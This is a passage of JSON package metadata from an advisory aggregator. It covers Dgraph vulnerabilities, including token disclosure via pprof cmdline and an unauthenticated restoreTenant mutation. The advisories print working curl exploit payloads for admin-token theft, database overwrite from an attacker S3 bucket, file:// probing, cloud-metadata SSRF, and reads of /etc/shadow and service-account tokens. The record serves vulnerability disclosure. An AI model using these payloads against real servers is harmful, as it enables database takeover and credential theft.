remediate the underlying credential disclosure behavior.\n\n### PoC\n\n- Branch: `main`\n- Commit: `b15c87e93`\n- Describe: `v25.3.1`\n\nPreconditions:\n- Alpha HTTP port is reachable by attacker traffic.\n- Admin token is configured via supported startup flag: `--security \"token=...\"`.\n- `/debug/pprof/*` is exposed on the same Alpha HTTP listener.\n- This behavior occurs with documented startup flags and without any non-default or unsupported configuration.\n\nReproduction steps:\n1. Start Zero and Alpha (example local setup):\n   - `dgraph zero --my=127.0.0.1:5280 --port_offset=200 --bindall=false --wal=./zw`\n   - `dgraph alpha --my=127.0.0.1:7280 --zero=127.0.0.1:5280 --port_offset=200 --bindall=false --security \"token=TopSecretToken123;\" --postings=./p --wal=./w --tmp=./t`\n\n2. Verify admin endpoint rejects unauthenticated request:\n   - `curl -i http://127.0.0.1:8280/admin/config/cache_mb`\n   - Expected body includes `Invalid X-Dgraph-AuthToken`.\n\n3. Read token from unauthenticated debug endpoint:\n   - `curl -s http://127.0.0.1:8280/debug/pprof/cmdline`\n   - Expected output includes `--security=token=TopSecretToken123;`.\n\n4. Reuse leaked token against admin endpoint:\n   - `curl -i -H \"X-Dgraph-AuthToken: TopSecretToken123\" http://127.0.0.1:8280/admin/config/cache_mb`\n   - Expected: successful response (example observed: `4096`).\n\nNote: The PoC uses `127.0.0.1` only for safe local validation. The vulnerable condition is unauthenticated reachability of `/debug/pprof/cmdline`; in any deployment where Alpha HTTP is reachable by untrusted parties, the same token disclosure and subsequent unauthorized admin access apply.\n\n### Impact\n\n- Unauthenticated disclosure of a sensitive admin credential via debug endpoint, enabling unauthorized privileged administrative access through token reuse\n- Operators running Dgraph Alpha with admin token configured, where Alpha HTTP/debug routes are reachable by untrusted users or networks.\n\nThe attack requires network reachability to the Alpha HTTP port. In deployments where this interface is exposed beyond trusted boundaries, the issue is remotely exploitable without authentication.\n\nDepending on exposed admin functionality in deployment policy, this may allow configuration changes, operational control actions, and other privileged administrative operations exposed through `/admin/*`.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-16T21:08:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-95mq-xwj4-r47p","https://nvd.nist.gov/vuln/detail/CVE-2026-40173","https://github.com/dgraph-io/dgraph/releases/tag/v25.3.2","https://github.com/advisories/GHSA-95mq-xwj4-r47p"],"source_kind":"github","identifiers":["GHSA-95mq-xwj4-r47p","CVE-2026-40173"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T22:00:10.466Z","updated_at":"2026-10-02T15:04:06.982Z","epss_percentage":0.00597,"epss_percentile":0.46566,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NW1xLXh3ajQtcjQ3cM4ABVYr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NW1xLXh3ajQtcjQ3cM4ABVYr","packages":[{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.2.8"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v24","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 24.1.7"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv24"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v25","versions":[{"first_patched_version":"25.3.2","vulnerable_version_range":"\u003c 25.3.2"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv25"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NW1xLXh3ajQtcjQ3cM4ABVYr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNXJoLXZtaHAtZ3Zjd84ABUpJ","url":"https://github.com/advisories/GHSA-p5rh-vmhp-gvcw","title":"Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization","description":"The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:\n\n    # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n    # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n    mutation { restoreTenant(input: {\n      restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n      fromNamespace: 0\n    }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n    # restore (HAS middleware) -\u003e BLOCKED\n    $ curl ... '{\"query\": \"mutation { restore(...) { code } }\"}'\n    {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n    # restoreTenant (MISSING middleware) -\u003e AUTH BYPASSED\n    $ curl ... '{\"query\": \"mutation { restoreTenant(...) { code } }\"}'\n    {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn't exist): \"The uri path doesn't exists\" (path doesn't exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # Error response reveals whether /etc/ exists and its structure.\n    # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n    # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n    # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n    # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n    # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n    # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n    \"restoreTenant\": gogMutMWs,\n\nKoda Reef","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-02T20:44:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw","https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef","https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1","https://nvd.nist.gov/vuln/detail/CVE-2026-34976","https://github.com/advisories/GHSA-p5rh-vmhp-gvcw"],"source_kind":"github","identifiers":["GHSA-p5rh-vmhp-gvcw","CVE-2026-34976"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-02T21:00:08.456Z","updated_at":"2026-09-25T12:04:48.173Z","epss_percentage":0.01655,"epss_percentile":0.75538,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNXJoLXZtaHAtZ3Zjd84ABUpJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNXJoLXZtaHAtZ3Zjd84ABUpJ","packages":[{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.2.8"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v24","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 24.0.5"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv24"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v25","versions":[{"first_patched_version":"25.3.1","vulnerable_version_range":"\u003c= 25.3.0"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv25"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNXJoLXZtaHAtZ3Zjd84ABUpJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05MndxLXE5cHEtZ3c0N84AAzYG","url":"https://github.com/advisories/GHSA-92wq-q9pq-gw47","title":"Dgraph Audit Log Encryption Vulnerability","description":"### Impact\nExisting Dgraph audit logs are vulnerable to brute force attacks due to nonce collisions.  All audit logs generated by versions of Dgraph \u003cv23.0.0 are affected.\n\n### Patches\nThis issue was patched in https://github.com/dgraph-io/dgraph/pull/8323.  Dgraph users should upgrade to v23.0.0.\n\n### Workarounds\nStore existing audit logs in a secure location.  For extra security, encrypt using a tool like `gpg`.\n\n### References\nSee https://github.com/dgraph-io/dgraph/pull/8323 for more context on the vulnerability.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-05-17T17:07:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-92wq-q9pq-gw47","https://github.com/dgraph-io/dgraph/pull/8323","https://github.com/dgraph-io/dgraph/releases/tag/v23.0.0","https://nvd.nist.gov/vuln/detail/CVE-2023-31135","https://en.wikipedia.org/wiki/Cryptographic_nonce","https://github.com/advisories/GHSA-92wq-q9pq-gw47"],"source_kind":"github","identifiers":["GHSA-92wq-q9pq-gw47","CVE-2023-31135"],"repository_url":"https://github.com/dgraph-io/dgraph","blast_radius":0.0,"created_at":"2023-05-17T18:03:24.900Z","updated_at":"2026-09-30T09:15:20.412Z","epss_percentage":0.00153,"epss_percentile":0.03715,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05MndxLXE5cHEtZ3c0N84AAzYG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05MndxLXE5cHEtZ3c0N84AAzYG","packages":[{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph","versions":[{"first_patched_version":"23.0.0","vulnerable_version_range":"\u003c 23.0.0"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05MndxLXE5cHEtZ3c0N84AAzYG/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/dgraph-io/dgraph","docker_dependents_count":5,"docker_downloads_count":23636255,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/dgraph-io/dgraph","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/dgraph-io/dgraph/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-05T08:40:33.895Z","issues_count":227,"pull_requests_count":627,"avg_time_to_close_issue":65169745.50259067,"avg_time_to_close_pull_request":10648879.39637827,"issues_closed_count":193,"pull_requests_closed_count":497,"pull_request_authors_count":80,"issue_authors_count":97,"avg_comments_per_issue":2.303964757709251,"avg_comments_per_pull_request":1.05103668261563,"merged_pull_requests_count":332,"bot_issues_count":0,"bot_pull_requests_count":124,"past_year_issues_count":23,"past_year_pull_requests_count":99,"past_year_avg_time_to_close_issue":5435304.8,"past_year_avg_time_to_close_pull_request":1007585.5,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":50,"past_year_pull_request_authors_count":20,"past_year_issue_authors_count":10,"past_year_avg_comments_per_issue":1.2173913043478262,"past_year_avg_comments_per_pull_request":0.8686868686868687,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":8,"past_year_merged_pull_requests_count":42,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/issues","maintainers":[],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fdgraph-io%2Fdgraph/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fdgraph-io%2Fdgraph/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fdgraph-io%2Fdgraph/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fdgraph-io%2Fdgraph/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fdgraph-io%2Fdgraph/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fdgraph-io%2Fdgraph/codemeta","maintainers":[]}